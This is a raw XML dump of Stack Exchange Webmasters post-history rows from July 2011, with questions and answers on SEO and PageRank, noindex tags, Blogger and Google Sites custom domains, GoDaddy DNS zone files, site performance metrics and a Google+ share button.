  <row Id="41812" PostHistoryTypeId="5" PostId="17387" RevisionGUID="17fdcd6c-b47a-460b-bc4b-5e8b94c4d6c5" CreationDate="2011-07-26T00:08:28.623" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [SEO - Reducing significance of irrelevant kewords.](http://webmasters.stackexchange.com/questions/17028/seo-reducing-significance-of-irrelevant-kewords)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I wrote &quot;having importance&quot; since I do not really know the right way to say this.&#xD;&#xA;&#xD;&#xA;I have certain pages in my site like &quot;Terms of Use&quot; and &quot;Privacy Policy&quot; and all that&#xD;&#xA;admin stuff, and for some reason google gives them great importance, they are in the&#xD;&#xA;footer and don't have any &lt;b&gt; tag or anything so it's kinda weird.&#xD;&#xA;&#xD;&#xA;But anyway, I see in Google Webmaster Tools that some of the keywords&#xD;&#xA;for my site are stuff like &quot;Privacy Policy&quot; and of course this has nothing&#xD;&#xA;to do with my site, I don't want those pages to have that big importance,&#xD;&#xA;and probably steal &quot;juice&quot; from the other pages.&#xD;&#xA;&#xD;&#xA;What's the best method of stopping this from happening?&lt;br&gt;&#xD;&#xA;maybe this? `&lt;META NAME=&quot;ROBOTS&quot; CONTENT=&quot;NOINDEX, FOLLOW&quot;&gt;`&#xD;&#xA;&#xD;&#xA;There are links from the &quot;Terms&quot; pages to the home page and other important pages&#xD;&#xA;so is this what I should put?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="41813" PostHistoryTypeId="10" PostId="17387" RevisionGUID="317febcc-5e90-40d4-8ce3-2b50f88902b6" CreationDate="2011-07-26T00:08:28.187" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="41814" PostHistoryTypeId="2" PostId="17392" RevisionGUID="962da98b-efc8-4430-a88c-16f46998bad8" CreationDate="2011-07-26T00:14:12.860" UserId="1253" Text="That link will have value for the page it links to. However, the link won't be very valuable because the page it is on isn't related to the page receiving the link, nor does it rank well for terms the linked to page hopes to rank well for. Basically this link would **not** be considered a quality link.&#xD;&#xA;&#xD;&#xA;The page receiving the link will rank better for the anchor text used in that link. However it probably won't make much of a difference since the linked to page will be lacking many other SEO factors to rank well for that text." />
  <row Id="41815" PostHistoryTypeId="25" PostId="17388" RevisionGUID="66030f09-d684-4b81-9b57-2b39273cf1fa" CreationDate="2011-07-26T00:32:00.950" Comment="http://twitter.com/#!/StackWebmasters/status/95652555161468929" />
  <row Id="41816" PostHistoryTypeId="2" PostId="17393" RevisionGUID="9e5f77dc-b01b-4689-a3fd-4ba5aa664d05" CreationDate="2011-07-26T03:24:25.330" UserId="9116" Text="My general approach to SEO is to setup my site in the way that's makes the most sense for my visitors first, but also works for ranking well on search engines.  When it comes to URLs and search engines, they'll be able to index your site as long as you have a unique URL.  &#xD;&#xA;&#xD;&#xA;To answer your first question, search engines may not care if you end your pages with an extension like .html, but I think it makes it **easier for visitors** to know a link is for a webpage (and not a directory or file) if it ends in .html.  Plus, Matt Cutts suggested keeping file extensions such as .html for this reason ([Matt Cutts interview from GoogleWebmaster YouTube Channel][1]).  He's not saying there's a penalty for not using extensions, but given how few &quot;real&quot; answers are released from search engines around SEO I prefer to follow his advice.&#xD;&#xA;&#xD;&#xA;For question two, I don't see any SEO difference in those URLs.  Go with the one you think looks best.&#xD;&#xA;&#xD;&#xA;Question 3, this is can be done with a simple [301 redirect][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://youtu.be/dSG6C33GwsE &quot;Matt Cutts on keeping.html&quot;&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=93633 &quot;Google 301 Redirect Tutorial&quot;" />
  <row Id="41817" PostHistoryTypeId="25" PostId="17364" RevisionGUID="904a5224-5773-450f-8a62-b8f9ace5b855" CreationDate="2011-07-26T03:32:01.387" Comment="http://twitter.com/#!/StackWebmasters/status/95697853804064768" />
  <row Id="41818" PostHistoryTypeId="2" PostId="17394" RevisionGUID="9acacbff-9818-470c-8034-4b545c3438d1" CreationDate="2011-07-26T03:40:12.597" UserId="9116" Text="Along with PageRank that everyone talks about, Google also stores lots of information about what it finds on each page it crawls.  This includes words used (and count) and words that appear in specific areas (title tag, h1-h6 tags, strong tags, etc).  The info the store about a page also includes links out and the anchor text of those links.  Basically, they store enough information about each page to get a pretty good idea of what the content on that page is about.  This is one of the reasons why AdWords is able to deliver targeted ads, because they know what content is on each individual page.&#xD;&#xA;&#xD;&#xA;With that being said, a link from a related site **IS worth more** than a link from a site with unrelated content.  How much more is hard to quantify, but there is a difference.  That's not to say I think the type of linking you described in your example is a good idea, mostly because it doesn't seem to add anything for your site visitors... &#xD;&#xA;&#xD;&#xA;However, getting links with **relevant anchor text** from **sites with related content** is one of the best things, in addition to having quality content, you can do to boost your search rankings" />
  <row Id="41819" PostHistoryTypeId="17" PostId="17395" RevisionGUID="b7b3cf42-7c5d-44a4-b6b5-b968b40ae3f7" CreationDate="2011-07-26T04:19:27.350" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/17607/groupon-clone-in-asp-net" Text="" />
  <row Id="41820" PostHistoryTypeId="2" PostId="17395" RevisionGUID="7b47618a-3df1-42d3-aca9-840bc8426fbc" CreationDate="2011-07-26T04:18:45.497" UserId="2235" Text="Is there any Groupon Clone in ASP .Net out there? &#xD;&#xA;&#xD;&#xA;I'm looking for one which has an Admin site and can interface with MailChimp.&#xD;&#xA;&#xD;&#xA;It can be Open Source or Paid." />
  <row Id="41821" PostHistoryTypeId="1" PostId="17395" RevisionGUID="7b47618a-3df1-42d3-aca9-840bc8426fbc" CreationDate="2011-07-26T04:18:45.497" UserId="2235" Text="Groupon clone in ASP .Net" />
  <row Id="41822" PostHistoryTypeId="3" PostId="17395" RevisionGUID="7b47618a-3df1-42d3-aca9-840bc8426fbc" CreationDate="2011-07-26T04:18:45.497" UserId="2235" Text="&lt;untagged&gt;" />
  <row Id="41823" PostHistoryTypeId="17" PostId="17396" RevisionGUID="ed6f5fb6-724d-4afc-bc68-92b1f39b70af" CreationDate="2011-07-26T04:27:17.547" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16543/github-forum-helpdesk-solution" Text="" />
  <row Id="41824" PostHistoryTypeId="17" PostId="17397" RevisionGUID="282e8977-bba9-4a61-bcef-ecf64e7a77e0" CreationDate="2011-07-26T04:27:17.547" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16543/github-forum-helpdesk-solution" Text="" />
  <row Id="41825" PostHistoryTypeId="2" PostId="17397" RevisionGUID="6fdb7863-0d9d-4bb6-a7d2-dce0a1b83c1b" CreationDate="2011-06-25T20:58:58.557" UserDisplayName="Dr McKay" Text="Maybe this one: http://tal.ki/? Only thing you need to do is include a JS script, and Github allows you to do this." />
  <row Id="41826" PostHistoryTypeId="2" PostId="17396" RevisionGUID="40ec0d7b-8eb5-4919-9611-404b9408580d" CreationDate="2011-06-24T18:08:09.180" UserDisplayName="troex" Text="Our open source software website is migrating from Redmine to GitHub (pages, wiki, issues) and the only missing thing is *Forum/Discussions*. GitHub does not have such feature yet and allows only static pages generation.&#xD;&#xA;&#xD;&#xA;We really would like to support our users using forum. I was thinking about disqus.com like engine that can be attached to website, but what I have found offers only comments support for specific page/topic on website, they don't have ability for user to create a thread/topic like on forums.&#xD;&#xA;&#xD;&#xA;Question: Is there any 3rd party solution which will support forum/helpdesk like mechanism without requiring and server side installation and can be embedded in pure html? Also would be great if such engine support social networking authorization (like disqus).&#xD;&#xA;&#xD;&#xA;P.S.: What alternatives would you recommend for user support?" />
  <row Id="41827" PostHistoryTypeId="1" PostId="17396" RevisionGUID="40ec0d7b-8eb5-4919-9611-404b9408580d" CreationDate="2011-06-24T18:08:09.180" UserDisplayName="troex" Text="GitHub forum/helpdesk solution" />
  <row Id="41828" PostHistoryTypeId="3" PostId="17396" RevisionGUID="40ec0d7b-8eb5-4919-9611-404b9408580d" CreationDate="2011-06-24T18:08:09.180" UserDisplayName="troex" Text="&lt;social-networks&gt;&lt;forum&gt;" />
  <row Id="41829" PostHistoryTypeId="2" PostId="17398" RevisionGUID="0d335d5a-c33d-4410-927d-9eae70fab618" CreationDate="2011-07-26T05:49:47.403" UserId="9194" Text="My website has a pagerank of 6 but it ranks poorly (6th position), they have the 3rd position despite a lower pagerank. The sites are about the same subject. I have title text on links, content is not flash, etc. Why?" />
  <row Id="41830" PostHistoryTypeId="1" PostId="17398" RevisionGUID="0d335d5a-c33d-4410-927d-9eae70fab618" CreationDate="2011-07-26T05:49:47.403" UserId="9194" Text="Another website has lower pagerank (4) and lower backlinks, but they score higher than me in search results." />
  <row Id="41831" PostHistoryTypeId="3" PostId="17398" RevisionGUID="0d335d5a-c33d-4410-927d-9eae70fab618" CreationDate="2011-07-26T05:49:47.403" UserId="9194" Text="&lt;seo&gt;" />
  <row Id="41832" PostHistoryTypeId="2" PostId="17399" RevisionGUID="eb712fb6-bc00-4b8b-bc15-1afc8c397277" CreationDate="2011-07-26T06:10:40.173" UserId="8799" Text="Tom, you stepped into a big, gigantic, outstanding, and *pretty scary* gray area.&#xD;&#xA;&#xD;&#xA;Random images used for descriptive purposes *should all* be correctly licensed.&#xD;&#xA;&#xD;&#xA;In practice even [wikimedia commons][1] pictures (those should be free for all uses as long as they are correctly credited) hardly meet the copyright's holder requirements. (that is: they are not attributed)&#xD;&#xA;&#xD;&#xA;The problem is so huge even newspapers themselves are getting into the habit of *redistributing* naively copied pictures (usually funny ones) for their online versions.&#xD;&#xA;&#xD;&#xA;  [1]: http://commons.wikimedia.org/wiki/Main_Page&#xD;&#xA;&#xD;&#xA;When confronted about that many will murmur things about *fair use* and stuff, but *fair use* is only in USA and pretty vague." />
  <row Id="41834" PostHistoryTypeId="25" PostId="17350" RevisionGUID="d208eaac-fbc0-4ffb-9eaf-42fd76147a9c" CreationDate="2011-07-26T06:32:00.763" Comment="http://twitter.com/#!/StackWebmasters/status/95743150873776128" />
  <row Id="41835" PostHistoryTypeId="2" PostId="17400" RevisionGUID="08b6c99b-6d0b-4f82-9755-f181e187cb20" CreationDate="2011-07-26T06:48:45.663" UserId="4461" Text="You're making the common mistake of confusing PageRank (the Google algorithm score) with Ranking. While PR is a ranking factor, it's only one of 200+ (some say 1000+) elements that make up for your final page ranking.&#xD;&#xA;&#xD;&#xA;And remember, localization, personalization and relevancy to that query all factor greatly in results.&#xD;&#xA;&#xD;&#xA;You might rank #1 for a different keyword/phrase, or not at all.&#xD;&#xA;&#xD;&#xA;Short Answer: PageRank has little to do with results rank." />
  <row Id="41836" PostHistoryTypeId="2" PostId="17401" RevisionGUID="f291ddf3-521f-4416-ba24-33be6b5576ca" CreationDate="2011-07-26T07:35:13.383" UserId="8926" Text="According to this [instructions][1], Google Sites does not offer naked domain mapping so I need to redirect the naked domain to my main domain. Unfortunately, I cannot find the settings from GoDaddy. I am now unsure whether they have changed their policies (or just layout):&#xD;&#xA;&#xD;&#xA;&gt; So, to achieve this with GoDaddy (sorry, but I don't have instructions&#xD;&#xA;&gt; for other registrars readily available.), you'll need to: Log into&#xD;&#xA;&gt; your account Select the &quot;Domain Manager&quot; option Select the domain you&#xD;&#xA;&gt; wish to forward **Click the &quot;Domain is not forwarded&quot; link (located in&#xD;&#xA;&gt; the center of the screen, under &quot;Forwarding&quot; and above &quot;Total DNS&quot;&#xD;&#xA;&gt; Check the &quot;Enable Forwarding&quot; box Enter the URL to forward the domain&#xD;&#xA;&gt; to.  In this example, you would enter http://www.example.com Select&#xD;&#xA;&gt; the &quot;301 Redirect&quot; option Click OK**&#xD;&#xA;&#xD;&#xA;I am stuck to this bolded point. I cannot find such setting in GoDaddy. How did you do it? Is this instruction still valid?&#xD;&#xA;&#xD;&#xA;  [1]: http://siteshelp.kccloudsolutions.com/step-by-step-guides/cnamealiasmappinghowdoesitallwork/mapping-site-custom-domain/cnames-and-naked-domains" />
  <row Id="41837" PostHistoryTypeId="1" PostId="17401" RevisionGUID="f291ddf3-521f-4416-ba24-33be6b5576ca" CreationDate="2011-07-26T07:35:13.383" UserId="8926" Text="Naked Domain URL Redirection or 301 Redirection?" />
  <row Id="41838" PostHistoryTypeId="3" PostId="17401" RevisionGUID="f291ddf3-521f-4416-ba24-33be6b5576ca" CreationDate="2011-07-26T07:35:13.383" UserId="8926" Text="&lt;godaddy&gt;&lt;301-redirect&gt;&lt;google-sites&gt;" />
  <row Id="41839" PostHistoryTypeId="5" PostId="17315" RevisionGUID="d53799be-db80-409f-bd0a-e9ccea043e3e" CreationDate="2011-07-26T07:37:39.420" UserId="1009" Comment="added 502 characters in body" Text="**Google provides very detailed instructions: [How do I use a custom domain name for my blog?][1]** Can you point out which step you don't understand? Are you trying to redirect from a *sub-domain* or *top-level domain*?&#xD;&#xA;&#xD;&#xA;*My guesses:*&#xD;&#xA;&#xD;&#xA;1. **In addition to CNAME records, you also need to configure the [A records (also called host records)][2].** The CNAME records just take care of sub-domains like *www*.domain.com or *blog*.domain.com. The A records describe how the actual top-level domain is processed. From the Google documentation:&#xD;&#xA;&gt; The following action links your naked domain (example.com) to your&#xD;&#xA;&gt; actual site (www.example.com). If you skip this step, visitors who&#xD;&#xA;&gt; leave off the &quot;www&quot; will see an error page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Enter your domain name in the format example.com, and list the I.P.&#xD;&#xA;&gt; addresses shown below in the &quot;A&quot; section. You'll need to create four&#xD;&#xA;&gt; separate A-records which point to four different Google IPs.&#xD;&#xA;&gt;&#xD;&#xA;&gt;  216.239.32.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.34.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.36.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.38.21&#xD;&#xA;&#xD;&#xA;2. **Update your Blogger settings (and wait).** You need to tell Blogger to expect requests from the custom domain and wait an hour (sometimes a few days) for the DNS changes to propagate.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;I don't recommend it, but there is an alternate, *slightly* simpler solution: many registrars support &quot;masked&quot; URL redirection. In your registrar's settings, just forward your domain to BLOGGER_ID.blogspot.com. This solution is domain-registrar-specific; NameCheap calls this option &quot;[Url Frame][3]&quot;.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:**&#xD;&#xA;(GoDaddy's UI is a PITA, so I migrated to NameCheap.)&#xD;&#xA;&#xD;&#xA;I found the easiest way to modify DNS records at GoDaddy was to [export your zone file][4] as a text file, edit it, then [import it back to Godaddy][5]. Also try from Internet Explorer, to be safe. I've had issues with GoDaddy on other browsers.&#xD;&#xA;&#xD;&#xA;Add the relevant configuration line you need in the zone file (also remove any conflicting/unwanted entries) I am not sure if it makes a difference, but take note the white space between columns are TABS:&#xD;&#xA;&#xD;&#xA;    ; CNAME Records&#xD;&#xA;    puzzles	1800	IN	CNAME	ghs.google.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/static.py?page=ts.cs&amp;ts=1233381&#xD;&#xA;  [2]: http://www.google.com/support/a/bin/answer.py?answer=48090#H&#xD;&#xA;  [3]: http://namecheap.simplekb.com/kb.show/article/urlforwardingtypes&#xD;&#xA;  [4]: http://help.godaddy.com/article/4166&#xD;&#xA;  [5]: http://help.godaddy.com/article/4167" />
  <row Id="41840" PostHistoryTypeId="5" PostId="17137" RevisionGUID="be416185-48cf-4a36-a215-6a1267c09992" CreationDate="2011-07-26T07:41:43.980" UserId="9078" Comment="added 378 characters in body" Text="I've been working for two months now on improving our response time (mainly server side) on a new forum (a brand new product on a technical point of view) we've launched in Germany a few month ago and I'm a lot surprised by the results I get. I monitor our response time using Apache logs and our own implementation of [Boomerang][1] beacon.&#xD;&#xA;&#xD;&#xA;Using my stats, I can see that our new product responds in about 680 ms where our old product was responding in about 1050 ms. On the other side, Google Webmaster Tool tells us that  our pages have an average reponse time of about 1500 ms today where it was 700 three months ago with our old product.&#xD;&#xA;&#xD;&#xA;I've figured that GWT was taking client side metrics into account so I've added some measures on our Boomerang beacon and everything looks just fine. I've also ran some random pages on ySlow and Google's Page Speed and everything looks better than it was before. We event have a 82% on Google's Page Speed tool which is quite cool for a site with some ads in it :)&#xD;&#xA;&#xD;&#xA;Lately, we have signed a deal with Akamai to use two of their products : CDN for our static files (we were using another CDN before but it wasn't very effective) and RMA to improve Networks routes. We have also introduced a new agressive cache mecanism to ensure that most of the pages served to crawlers are cached by our memcache grid. After checking my metrics, it seems that this changes have improved from 650ms to about 500ms, which is good (still not great but it is definitly an improvement). But webmaster tools continues to report an increasing average response time where we see it decreasing in the same time.&#xD;&#xA;&#xD;&#xA;Have you ever had the same kind of wierd behavior on your sites while doing performance improvements ? Do you have any idea how to monitor the same thing Google does with Site Performance in Google Webmaster Tools so that we could improve our site and constantly check if it is what Google wants ?&#xD;&#xA;&#xD;&#xA;**Edit 2011/07/26** : Thanks for your answers guys ! Nevertheless, I was not precise enough. The main issue we have is not with the Site Performance page but with the Crawl Stats one for now. We probably found an issue on our side with some very slow pages (around 3000 ms !!) and we are trying to fix them. I'll keep you posted as soon I'll have some infos.&#xD;&#xA;Thanks again !&#xD;&#xA;&#xD;&#xA;  [1]: http://yahoo.github.com/boomerang/doc/" />
  <row Id="41841" PostHistoryTypeId="2" PostId="17402" RevisionGUID="a26c4454-fc4e-43c2-91c3-249d0799e92c" CreationDate="2011-07-26T07:49:35.183" UserId="1643" Text="I found this site which seems to grab random pages and display them side by side with other pages. Here's a cached page that refers to your site: http://webcache.googleusercontent.com/search?q=cache:FFD5X07W3SAJ:www-g.gluetext.com/content/g/grand_daddy_hotel/grand_daddy_hotel.html+villa_view.asp+vseq&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=uk&amp;source=www.google.co.uk&#xD;&#xA;&#xD;&#xA;I would guess it is using some sort of URL generating system to try and find pages and it's generated those URLs for your site because they work on other sites." />
  <row Id="41842" PostHistoryTypeId="5" PostId="17311" RevisionGUID="70ecfc5a-3c3e-418d-b78a-1947cd16ef8b" CreationDate="2011-07-26T08:02:45.767" UserId="8926" Comment="more information added" Text="It is just a redirection but I am looking for hiding the blogger url with my domain. I have set up the CNAME as needed with my registrar. I think I am missing some settings with the Blogger to hide the url. Please, explain the &quot;Custom Domain&quot; and how can I hide my blogger url? (I thought that Custom Domain is for that, the term does not mean me anything.)&#xD;&#xA;&#xD;&#xA;**[Update]**&#xD;&#xA;&#xD;&#xA;I am not sure about Blogger but Google Sites does not allow naked domain redirection (it may be that I need to do a 301 URL Redirect from naked domain to the www.mydomain.com). I exported here the SOA, CNAME and A Records from GoDaddy. Now, it should be easier to dig into this issue:&#xD;&#xA;&#xD;&#xA;    ; SOA Record&#xD;&#xA;    MYSITE.COM.	3600	IN	SOA	ns45.domaincontrol.com.	dns.jomax.net (&#xD;&#xA;    				2011070101&#xD;&#xA;    				28800&#xD;&#xA;    				7200&#xD;&#xA;    				604800&#xD;&#xA;    				86400&#xD;&#xA;    				)&#xD;&#xA;    &#xD;&#xA;    ; A Records&#xD;&#xA;    @	3600	IN	A	216.239.32.21&#xD;&#xA;    art	3600	IN	A	64.202.189.170&#xD;&#xA;    abc	3600	IN	A	64.202.189.170&#xD;&#xA;    @	3600	IN	A	216.239.34.21&#xD;&#xA;    @	3600	IN	A	216.239.36.21&#xD;&#xA;    @	3600	IN	A	216.239.38.21&#xD;&#xA;    lol	3600	IN	A	64.202.189.170&#xD;&#xA;    &#xD;&#xA;    ; CNAME Records&#xD;&#xA;    www	3600	IN	CNAME	ghs.google.com&#xD;&#xA;    mobilemail	3600	IN	CNAME	mobilemail-v01.prod.mesa1.secureserver.net&#xD;&#xA;    pda	3600	IN	CNAME	mobilemail-v01.prod.mesa1.secureserver.net&#xD;&#xA;    email	3600	IN	CNAME	email.secureserver.net&#xD;&#xA;    imap	3600	IN	CNAME	imap.secureserver.net&#xD;&#xA;    mail	3600	IN	CNAME	pop.secureserver.net&#xD;&#xA;    pop	3600	IN	CNAME	pop.secureserver.net&#xD;&#xA;    smtp	3600	IN	CNAME	smtp.secureserver.net&#xD;&#xA;    ftp	3600	IN	CNAME	@&#xD;&#xA;    webmail	3600	IN	CNAME	webmail.secureserver.net&#xD;&#xA;    e	3600	IN	CNAME	email.secureserver.net&#xD;&#xA;&#xD;&#xA;ok I am still unsure what the &quot;custom domain&quot; in blogger really mean, does it mean that the content hosting is moved to some other site? Or does it mean that it just hides the blogspot url with other url? Or is it this so-called &quot;301&quot; thing or &quot;URL redirection&quot; or something else?" />
  <row Id="41843" PostHistoryTypeId="2" PostId="17403" RevisionGUID="20113ad4-6054-4e4c-b592-c41e687fb350" CreationDate="2011-07-26T09:23:49.187" UserId="9193" Text="It's a bit unclear where you want the web content to come from. If the user visits `b.com`, you can set two things in action:&#xD;&#xA;&#xD;&#xA;1. Effect a redirect to `a.com`, where the content is coming from the server at the other end of `a.com` and the URL is to match.&#xD;&#xA;2. Mirror the content of the server at `a.com` under `b.com`, with that as the URL being accessed.&#xD;&#xA;&#xD;&#xA;If you're serving data from a server at the other end of `b.com`, you should leave the URL as such. Cloaking it to read `a.com` is possible with some older browsers, but is a Bad Internet Practice™ for multitudes of security reasons.&#xD;&#xA;&#xD;&#xA;It sounds like you'll be most successful with a domain redirect as [referenced in @Aeronaught's comment](http://serverfault.com/q/4604/35686)." />
  <row Id="41844" PostHistoryTypeId="25" PostId="17398" RevisionGUID="1770e328-7d9d-4c1b-8d36-1422f594d026" CreationDate="2011-07-26T09:32:00.773" Comment="http://twitter.com/#!/StackWebmasters/status/95788449101123584" />
  <row Id="41845" PostHistoryTypeId="5" PostId="17315" RevisionGUID="13272876-f475-44f4-bffb-288e76859193" CreationDate="2011-07-26T09:41:40.577" UserId="1009" Comment="added 2291 characters in body" Text="&quot;custom domain&quot; means Google's computers handle requests for mysite.com and/or any subdomains like blog.mysite.com or www.mysite.com. **Google provides very detailed instructions for how to set this up: [How do I use a custom domain name for my blog?][6]** Can you point out which step you don't understand? Are you trying to redirect from a *sub-domain* or *top-level domain*?&#xD;&#xA;&#xD;&#xA;**The difference between top-level domain and subdomain:**&#xD;&#xA;&#xD;&#xA;Google help documentation asks you this question because different setup is needed for each case:&#xD;&#xA;&#xD;&#xA;&gt; Where would you like to host your blog?&#xD;&#xA;&gt; &#xD;&#xA;&gt; - On a top-level domain (www.example.com). &#xD;&#xA;&gt; - On a subdomain (foo.example.com).&#xD;&#xA;&#xD;&#xA;**Top-level domain:**&#xD;&#xA;&#xD;&#xA;- Going to www.mysite.com or mysite.com will go directly to the Google blog.&#xD;&#xA;- There is *no* other content under the domain mysite.com. (Except perhaps google sites/apps. Definitely no non-Google-served content.)&#xD;&#xA;- Needs [A records][4] configured (to point to Google).&#xD;&#xA;- Optionally add CNAME record (to support subdomains like www.mysite.com or puzzles.mysite.com)&#xD;&#xA;- Any requests for mysite.com are handled directly by Google.&#xD;&#xA;- Example: [leftium.com][2], [www.leftium.com][3]&#xD;&#xA;&#xD;&#xA;**Subdomain:**&#xD;&#xA;&#xD;&#xA;- Going to www.mysite.com or mysite.com does *not* take you to the blog. Some type of non-Google content is served. For example: your web content hosted at Dreamhost.com.&#xD;&#xA;- The blog is accessed by going to a specific subdomain, like blog.mysite.com or puzzles.mysite.com).&#xD;&#xA;- Does not require A records to be configured (to point to Google). The A records will point somewhere else, like the servers at Dreamhost.com&#xD;&#xA;- Set up via [CNAME records][1]&#xD;&#xA;- Any requests for mysite.com are not handled directly by Google. First they are handled by the server specified in the A records (for example, Dreamhost). If the CNAME records for a subdomain specify ghs.google.com, then Dreamhost should pass the request to Google.&#xD;&#xA;- Example: [blog.stackexchange.com][5]&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*My guesses:*&#xD;&#xA;&#xD;&#xA;1. **In addition to CNAME records, you also need to configure the [A records (also called host records)][7].** The CNAME records just take care of sub-domains like *www*.domain.com or *blog*.domain.com. The A records describe how the actual top-level domain is processed. From the Google documentation:&#xD;&#xA;&gt; The following action links your naked domain (example.com) to your&#xD;&#xA;&gt; actual site (www.example.com). If you skip this step, visitors who&#xD;&#xA;&gt; leave off the &quot;www&quot; will see an error page.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Enter your domain name in the format example.com, and list the I.P.&#xD;&#xA;&gt; addresses shown below in the &quot;A&quot; section. You'll need to create four&#xD;&#xA;&gt; separate A-records which point to four different Google IPs.&#xD;&#xA;&gt;&#xD;&#xA;&gt;  216.239.32.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.34.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.36.21&lt;br&gt;&#xD;&#xA;&gt;  216.239.38.21&#xD;&#xA;&#xD;&#xA;2. **Update your Blogger settings (and wait).** You need to tell Blogger to expect requests from the custom domain and wait an hour (sometimes a few days) for the DNS changes to propagate.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;I don't recommend it, but there is an alternate, *slightly* simpler solution: many registrars support &quot;masked&quot; URL redirection. In your registrar's settings, just forward your domain to BLOGGER_ID.blogspot.com. This solution is domain-registrar-specific; NameCheap calls this option &quot;[Url Frame][8]&quot;.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;**update:**&#xD;&#xA;(GoDaddy's UI is a PITA, so I migrated to NameCheap.)&#xD;&#xA;&#xD;&#xA;I found the easiest way to modify DNS records at GoDaddy was to [export your zone file][9] as a text file, edit it, then [import it back to Godaddy][10]. Also try from Internet Explorer, to be safe. I've had issues with GoDaddy on other browsers.&#xD;&#xA;&#xD;&#xA;Add the relevant configuration line you need in the zone file (also remove any conflicting/unwanted entries) I am not sure if it makes a difference, but take note the white space between columns are TABS:&#xD;&#xA;&#xD;&#xA;    ; CNAME Records&#xD;&#xA;    puzzles	1800	IN	CNAME	ghs.google.com&#xD;&#xA;&#xD;&#xA;Also I have successfully pointed multiple CNAME records to ghs.google.com from GoDaddy. This is what my zone file looked like:&#xD;&#xA;&#xD;&#xA;    ; CNAME Records&#xD;&#xA;    www	1800	IN	CNAME	ghs.google.com&#xD;&#xA;    iknowjohn	1800	IN	CNAME	ghs.google.com&#xD;&#xA;    mail	3600	IN	CNAME	ghs.google.com&#xD;&#xA;    ftp	3600	IN	CNAME	@&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/a/bin/answer.py?answer=48090#K&#xD;&#xA;  [2]: http://leftium.com&#xD;&#xA;  [3]: http://www.leftium.com&#xD;&#xA;  [4]: http://www.google.com/support/a/bin/answer.py?answer=48090#H&#xD;&#xA;  [5]: http://blog.stackexchange.com&#xD;&#xA;  [6]: http://www.google.com/support/blogger/bin/static.py?page=ts.cs&amp;ts=1233381&#xD;&#xA;  [7]: http://www.google.com/support/a/bin/answer.py?answer=48090#H&#xD;&#xA;  [8]: http://namecheap.simplekb.com/kb.show/article/urlforwardingtypes&#xD;&#xA;  [9]: http://help.godaddy.com/article/4166&#xD;&#xA;  [10]: http://help.godaddy.com/article/4167" />
  <row Id="41846" PostHistoryTypeId="2" PostId="17404" RevisionGUID="1e911eff-ea3b-43be-a636-5d08f9c9b90d" CreationDate="2011-07-26T09:42:29.247" UserId="8286" Text="My client is asking for a Google+ share button alongside the Facebook, Twitter, etc. ones. I don't have a Google+ invitation yet, but it seems from screenshots that Google+ has the concept of sharing a page; however, I'm not getting very far with searches, which instead turn up information on the [Google +1 button](http://www.google.com/webmasters/+1/button/).&#xD;&#xA;&#xD;&#xA;&gt; What's the situation? Is there a Google+ share button? Does it reuse the +1 button? Or the Google Buzz share button?&#xD;&#xA;&#xD;&#xA;(As a subsidiary question, is there a sharer url? I'm not a fan of including dozens of external JavaScript files in nearly every page on the site)." />
  <row Id="41847" PostHistoryTypeId="1" PostId="17404" RevisionGUID="1e911eff-ea3b-43be-a636-5d08f9c9b90d" CreationDate="2011-07-26T09:42:29.247" UserId="8286" Text="Google+ share button" />
  <row Id="41848" PostHistoryTypeId="3" PostId="17404" RevisionGUID="1e911eff-ea3b-43be-a636-5d08f9c9b90d" CreationDate="2011-07-26T09:42:29.247" UserId="8286" Text="&lt;google&gt;&lt;google-plus-one&gt;" />
  <row Id="41849" PostHistoryTypeId="2" PostId="17405" RevisionGUID="d68769ad-769d-4b7a-a4cc-79ee26d09aef" CreationDate="2011-07-26T09:47:03.817" UserId="1643" Text="I find no sign of a Google+ share button in their help files. On Google+ itself there is a link &quot;share&quot; next to each post and a share button at the top of the page (which is now on Google reader too). I think your client is getting confused with the Google +1 button. It may be that there's one on the way, or it's available to a few beta testers, but it's not generally available." />
  <row Id="41850" PostHistoryTypeId="2" PostId="17406" RevisionGUID="73bdbb40-dcb7-48c5-bae4-86c217536491" CreationDate="2011-07-26T09:57:57.097" UserId="233" Text="Recently when I have seen Stack Overflow results in Google, I have seen something like this:&#xD;&#xA;&#xD;&#xA;![Google SERP][1]&#xD;&#xA;&#xD;&#xA;Note the text, &quot;9 answers&quot;. Does Stack Overflow do anything special to get this shown? I have noticed a similar Rich Snippet on Yahoo Answers, which also said &quot;Solved&quot;.&#xD;&#xA;&#xD;&#xA;I skimmed the source of both pages and couldn't see anything specific that looked like a microformat. There is nothing on schema.org specifically about Q&amp;A. Is Google treating these sites specially?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/QlvQn.jpg" />
